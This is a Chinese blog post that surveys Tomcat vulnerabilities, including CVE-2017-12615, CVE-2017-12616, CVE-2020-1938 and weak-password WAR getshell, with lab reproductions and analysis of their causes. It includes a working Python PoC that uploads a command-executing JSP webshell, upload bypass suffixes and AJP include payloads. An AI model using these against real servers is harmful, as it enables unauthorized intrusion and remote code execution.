tomcat常用漏洞汇总

文章最后更新时间为:2020年12月08日 18:00:07

总结以下tomcat的一些常见漏洞

example目录操纵session

Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例,其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。

漏洞复现

这个漏洞在实际场景中基本遇不到,下面来复现一下。

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.1/bin/apache-tomcat-9.0.1.tar.gz

tar -zxvf apache-tomcat-9.0.1.tar.gz

cd apache-tomcat-9.0.1/bin

bash startup.sh

此时访问http://127.0.0.1:8080就已经能看到tomcat主页了。

然后在examples下新增三个文件。

// index.jsp
<% 
  if(session.getAttribute("login")!= null &&
  ((String)session.getAttribute("login")).equals("admin")){ 
    out.println("already login"); 
  } else{
    response.sendRedirect("login.jsp");
  }
%>

//login.jsp
<form action=login2.jsp method="POST" >  
username <input type="text"name="username"><br> 
password <input type="text" name="password"><br> 
<inputtype="submit" value="登录"><br> 
<form>

//login2.jsp
<% 
if(request.getParameter("username") != null && 
    request.getParameter("password")!= null) {  
    String username =request.getParameter("username"); 
    String password =request.getParameter("password"); 
    //验证身份 
    if (username.equals("admin")&& password.equals("admin")) {  
      session.setAttribute("login","admin"); 
      response.sendRedirect("index.jsp"); 
    }else { 
       response.sendRedirect("login.jsp"); 
    }  
} 
%>

现在直接访问http://127.0.0.1:8080/examples/index.jsp,因为没有登陆,所以会直接跳转到login.jsp。

接着我们访问打开SessionExample:http://127.0.0.1:8080/examples/servlets/servlet/SessionExample

构造session login=admin:

再次打开index.jsp,显示成功登录。

原理分析

直接看SessionExample的源码:

// webapps/examples/WEB-INF/classes/SessionExample.java


public class SessionExample extends HttpServlet {

    private static final long serialVersionUID = 1L;

    private static final ResourceBundle RB = ResourceBundle.getBundle("LocalStrings");

    .......

        String dataName = request.getParameter("dataname");
        String dataValue = request.getParameter("datavalue");
        if (dataName != null && dataValue != null) {
            session.setAttribute(dataName, dataValue);
        }

        out.println("<P>");
        out.println(RB.getString("sessions.data") + "<br>");
        Enumeration<String> names = session.getAttributeNames();
        while (names.hasMoreElements()) {
            String name = names.nextElement();
            String value = session.getAttribute(name).toString();
            out.println(HTMLFilter.filter(name) + " = "
                        + HTMLFilter.filter(value) + "<br>");
        }

    ......
}

用户通过表单提交name和value两个参数值。然后通过request里的getParameter()函数获取name和value值。再通过session.setAttribute()函数将获取到的name和value值传递到session里面。于是就可以随意伪造session了。

CVE-2017-12615

Apache在2017年9月19日发布并修复CVE-2017-12615 tomcat高危漏洞: https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81

该漏洞称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。

漏洞只影响Windows环境,且需要将readonly初始化参数由默认值设置为false,默认配置下无此漏洞,鸡肋漏洞。

影响范围:7.0.0 – 7.0.79

漏洞复现

采用docker复现: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

将docker起来后,用curl发送put请求,上传文件:

$ curl -v -X PUT -d "this is shell" 127.0.0.1:8080/1.jsp/ 
*   Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> PUT /1.jsp/ HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 13
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 13 out of 13 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 204 
< Date: Fri, 20 Nov 2020 06:28:46 GMT
< 
* Connection #0 to host 127.0.0.1 left intact

$ curl 127.0.0.1:8080/1.jsp                              
this is shell%  

或者用burp:

poc

#! -*- coding:utf-8 -*- 
import httplib
import sys
import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/ffffzz')
    headers = dict(conn.getresponse().getheaders())
    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        url = "/" + str(int(time.time()))+'.jsp/'
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request( method='PUT', url= url, body=body)
        res = conn.getresponse()
        if res.status  == 201 :
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
        elif res.status == 204 :
            print 'file exists'
        else:
            print 'error'
        conn.close()
    else:
        print 'Server not vulnerable'
except Exception,e:
    print 'Error:', e

原理分析

漏洞涉及到tomcat两个重要的处理Http请求的Servlet,分别为org.apache.catalina.servlets.DefaultServlet和org.apache.jasper.servlet.JspServlet。其中

  • DefaultServlet主要用于处理静态资源如html、image等。
  • JspServlet用于处理动态页面请求如JSP、JSPX等。
<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

<!-- The mappings for the JSP servlet -->
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>
</servlet-mapping>

即使设置readonly为false,tomcat也不允许PUT上传jsp和jspx,因为后端都用org.apache.jasper.servlet.JspServlet来处理jsp或是jspx后缀的请求了,而 JspServlet中没有PUT上传的逻辑,PUT的代码实现只存在于DefaultServlet中.

所以我们上传的文件名为1.jsp/,这样会进入DefaultServlet中,当windows下面的tomcat处理1.jsp/文件时。会去除末尾的/,保存为1.jsp。所以该漏洞只存在于在windows下。相似的绕过方式有:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

CVE-2017-12616

CVE-2017-12616和CVE-2017-12615是同时发布的,其原理也类似。

CVE-2017-12616(信息泄露):允许未经身份验证的远程攻击者查看敏感信息。漏洞条件是需要在conf/server.xml配置VirtualDirContex参数,默认情况下tomcat并不会对该参数进行配置。VirtualDirContext是FileDirContext的子类,它允许在单独的一个webapp应用下对外暴露出多个文件系统的目录。实际项目开发过程中,为了避免拷贝静态资源(如images等)至webapp目录下,tomcat推荐的做法是在server.xml配置文件中建立虚拟子目录,VirtualDirContex主要使用场景是在IDE开发环境,生产环境一般不会配置该参数开启。

影响范围:7.0.0 – 7.0.80

漏洞原理

如果我们临时对外开放了一个目录/temp=D:/src/main/webapp,且该目录包含了很多敏感的JSP代码,JspServlet负责处理所有JSP和JPSX类型的动态请求,DefautServelt负责处理静态资源请求。因此,我们是不能直接访问jsp代码的。

该漏洞实际上是利用了windows下文件名解析的漏洞来触发的。精心构造的恶意请求会绕过JspServelt,从而由DefaultServlet来处理该请求,从而获取源代码

如果将文件名修改成click.jsp%20 或者click.jsp::$DATA成功获取JSP文件源码。

tomcat弱口令getshell

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中

  • manager(后台管理)

    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)

    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置。正常安装的情况下,tomcat8+中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。(测试看来tomcat7+很多也没有默认弱口令这回事)

漏洞复现

采用docker: https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8

docker起来后,访问后台管理界面http://127.0.0.1:8080/manager/html

输入用户名密码tomcat/tomcat

先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war包。

上传成功。直接访问jsp木马即可:http://127.0.0.1:8080/sqzr/sqzr.jsp

war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

CVE-2020-1938

由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有 webapp 目录下的任意文件,例如可以读取webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

受影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞复现

采用docker复现:https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2020-1938

攻击脚本:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

尝试读取WEB-INF/web.xml:

漏洞原理

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议.在conf/server.xml对应为:

    <Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />

除了Http Connector,还有而AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。对应的端口为8099

    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

本次漏洞与三个include属性有关

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

由于 Tomcat 在处理 AJP 请求时,未对请求做任何验证, 通过设置 AJP 连接器封装的 request 对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞,也就是说我们只要构造 AJP 请求, 在请求时定义这三个属性就可以触发此漏洞

任意文件读取

任意文件读取问题出现在org.apache.catalina.servlets.DefaultServlet

构造一个AJP请求,当请求被分发到org.apache.catalina.servlets.DefaultServlet#serveResource()方法,会调用getRelativePath方法获取要读取资源的相对路径,通过getResources方法就可以获取到了对应路径的Web资源对象。
然后再通过控制ajp控制的上述三个include属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。

任意代码执行

当在处理 jsp 请求的uri时,会调用 org.apache.jasper.servlet.JspServlet#service(),最后会将pathinfo交给serviceJspFile处理,以jsp解析该文件。

比如可以构造一个如下的AJP请求,访问/test.jsp,但实际上tomcat会将code.txt当成test.jsp来解析执行。

RequestUri:/test.jsp
javax.servlet.include.request_uri: /
javax.servlet.include.path_info: code.txt
javax.servlet.include.servlet_path: /

所以当我们可以控制服务器上的文件的时候,比如存在jsp的文件上传,就能够造成rce。

参考

1 + 1 =
快来做第一个评论的人吧~